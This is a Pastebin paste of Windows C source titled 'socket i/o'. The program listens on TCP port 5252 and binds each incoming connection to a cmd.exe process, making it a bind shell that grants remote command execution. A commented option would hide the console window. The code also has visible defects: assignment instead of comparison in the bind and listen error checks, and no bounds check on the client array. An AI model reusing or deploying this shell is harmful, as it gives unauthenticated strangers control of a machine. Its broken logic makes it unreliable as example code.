Advertisement
captmicro

socket i/o

Sep 10th, 2010
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.36 KB | None | 0 0
  1. #include "main.h"
  2.  
  3. int main(int argc, char *argv[])
  4. {
  5.     REDIRECTCHILD *rclist; DWORD maxRCs = 16; DWORD rcidx = 0;
  6.     rclist = (REDIRECTCHILD*)alloc(0, sizeof(REDIRECTCHILD)*maxRCs);
  7.  
  8.     DWORD wserror = 0;
  9.     WSAData wsd;
  10.    
  11.     //INIT WSA
  12.     wserror = WSAStartup(MAKEWORD(1, 1), &wsd);
  13.     if (wserror != 0)
  14.     {
  15.         OutputDebugString("WSAStartup() failed\n");
  16.         WSACleanup(); free(0, rclist);
  17.         return wserror;
  18.     }
  19.    
  20.     //GET ADDR INFO
  21.     struct addrinfo *result = NULL;
  22.     struct addrinfo hints;
  23.     memset(&hints, 0, sizeof(hints));
  24.     hints.ai_family = AF_INET;
  25.     hints.ai_socktype = SOCK_STREAM;
  26.     hints.ai_protocol = IPPROTO_TCP;
  27.     hints.ai_flags = AI_PASSIVE;
  28.     wserror = getaddrinfo(NULL, "5252", &hints, &result);
  29.     if (wserror != 0)
  30.     {
  31.         OutputDebugString("getaddrinfo() failed\n");
  32.         WSACleanup(); free(0, rclist);
  33.         return wserror;
  34.     }
  35.  
  36.     //INIT SOCKET
  37.     SOCKET sock = NULL;
  38.  
  39.     sock = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
  40.     if (sock == INVALID_SOCKET)
  41.     {
  42.         OutputDebugString("socket() failed\n");
  43.         freeaddrinfo(result);
  44.         WSACleanup(); free(0, rclist);
  45.         return WSAGetLastError();
  46.     }
  47.  
  48.     //BIND SOCKET
  49.     wserror = bind(sock, result->ai_addr, (int)result->ai_addrlen);
  50.     if (wserror = SOCKET_ERROR)
  51.     {
  52.         OutputDebugString("bind() failed\n");
  53.         WSACleanup(); free(0, rclist);
  54.         closesocket(sock);
  55.         return WSAGetLastError();
  56.     }
  57.  
  58.     freeaddrinfo(result);
  59.  
  60.     //LISTEN ON SOCKET
  61.     wserror = listen(sock, SOMAXCONN);
  62.     if (wserror = SOCKET_ERROR)
  63.     {
  64.         OutputDebugString("listen() failed\n");
  65.         WSACleanup(); free(0, rclist);
  66.         closesocket(sock);
  67.         return WSAGetLastError();
  68.     }
  69.  
  70.     //LISTEN LOOP
  71.     SOCKET clsock;
  72.     while (TRUE)
  73.     {
  74.         clsock = accept(sock, NULL, NULL);
  75.         if (clsock == INVALID_SOCKET) break;
  76.         memset(&rclist[rcidx], 0, sizeof(REDIRECTCHILD));
  77.         rclist[rcidx].csock = clsock;
  78.         newRedirectChild("cmd.exe", &rclist[rcidx]);
  79.         rcidx++;
  80.     }
  81.     DWORD rcj = 0;
  82.     for (; rcj < rcidx; rcj++)
  83.     {
  84.         TerminateProcess(rclist[rcj].pi.hProcess, 0);
  85.         closesocket(rclist[rcj].csock);
  86.     }
  87.  
  88.     WSACleanup(); free(0, rclist);
  89.     closesocket(sock);
  90.     return 0;
  91. }
  92.  
  93. void newRedirectChild(char *szCmdLine, REDIRECTCHILD *rc)
  94. {
  95.     STARTUPINFO startinfo;
  96.     BOOL createSuccess = 0;
  97.     memset(&startinfo, 0, sizeof(STARTUPINFO));
  98.  
  99.     startinfo.cb = sizeof(STARTUPINFO);
  100.     startinfo.wShowWindow = SW_SHOW; //SW_HIDE
  101.     startinfo.hStdError = (HANDLE)rc->csock;
  102.     startinfo.hStdOutput = (HANDLE)rc->csock;
  103.     startinfo.hStdInput = (HANDLE)rc->csock;
  104.     startinfo.dwFlags |= STARTF_USESTDHANDLES;
  105.     startinfo.dwFlags |= STARTF_USESHOWWINDOW;
  106.  
  107.     createSuccess = CreateProcessA(NULL, szCmdLine, NULL, NULL,
  108.         TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &startinfo, &rc->pi);
  109.     if (createSuccess == FALSE) return;
  110.     else
  111.     {
  112.         CloseHandle(rc->pi.hProcess);
  113.         CloseHandle(rc->pi.hThread);
  114.     }
  115. }
  116.  
  117. void *alloc(HANDLE heap, DWORD size)
  118. {
  119.     if (heap == 0) heap = GetProcessHeap();
  120.     return HeapAlloc(heap, 0x00000008, size);
  121.     //HEAP_ZERO_MEMORY = 0x00000008
  122. }
  123.  
  124. BOOL free(HANDLE heap, void *ptr)
  125. {
  126.     if (heap == 0) heap = GetProcessHeap();
  127.     return HeapFree(heap, 0, ptr);
  128. }
  129.  
  130. #pragma function(memset)
  131. void * __cdecl memset(void *dst, int val, size_t size)
  132. {
  133.     BYTE *bsrc = (BYTE*)dst;
  134.     while (size-- > 0) *bsrc++ = val;
  135.     return dst;
  136. }
  137.  
  138. void memcpy(void *dst, void *src, DWORD size)
  139. {
  140.     BYTE *bsrc = (BYTE*)src;
  141.     BYTE *bdst = (BYTE*)dst;
  142.     while (size-- > 0) *bdst++ = *bsrc++;
  143. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement